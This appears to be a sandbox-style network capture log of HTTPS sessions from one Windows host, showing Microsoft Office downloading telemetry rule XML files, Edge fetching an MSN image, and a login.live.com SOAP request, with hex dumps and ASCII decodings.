2024-11-11 18:52:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:28 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 7cd11897-e01e-0052-7bd5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185228Z-174f7845968xlwnmhC1EWR0sv8000000058g000000001ta0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:29 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 27f4d8c4-701e-0032-2dd5-33a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185229Z-174f784596886s2bhC1EWR743w00000005eg000000003ucn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:29 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:29 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 78b03aef-101e-000b-52d5-335e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185229Z-174f7845968cpnpfhC1EWR3afc0000000520000000001dff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:29 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:29 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 63eb2b55-501e-00a3-51d5-33c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185229Z-174f78459685726chC1EWRsnbg000000058g00000000uwe2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:29 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: b85e0199-b01e-0098-60d5-33cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185229Z-174f7845968nxc96hC1EWRspw80000000550000000003pwz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:29 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 1c99ed40-601e-0097-39d5-33f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185229Z-174f7845968psccphC1EWRuz9s00000005ng000000005nrq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:29 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49913	23.57.90.111	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:29 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:29 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:43:48 GMT X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=334353 Expires: Fri, 15 Nov 2024 15:45:02 GMT Date: Mon, 11 Nov 2024 18:52:29 GMT Connection: close
2024-11-11 18:52:29 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49907	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:29 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-11 18:52:29 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-11 18:52:29 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 11 Nov 2024 18:51:29 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C550_BAY x-ms-request-id: df089aaa-3a40-47da-b792-f75da2f2f514 PPServer: PPV: 30 H: PH1PEPF00011F89 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 18:52:28 GMT Connection: close Content-Length: 11391
2024-11-11 18:52:29 UTC	11391	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:29 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 5f7107d8-901e-0048-05d5-33b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185229Z-174f7845968px8v7hC1EWR08ng00000005kg00000000dy89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:29 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:29 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: c08ebcd4-401e-0064-18d5-3354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185229Z-174f78459684bddphC1EWRbht4000000052g00000000bat5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:29 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:29 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:29 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 99a87d01-601e-005c-42d5-33f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185229Z-174f7845968t42glhC1EWRa36w000000053g000000007pq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
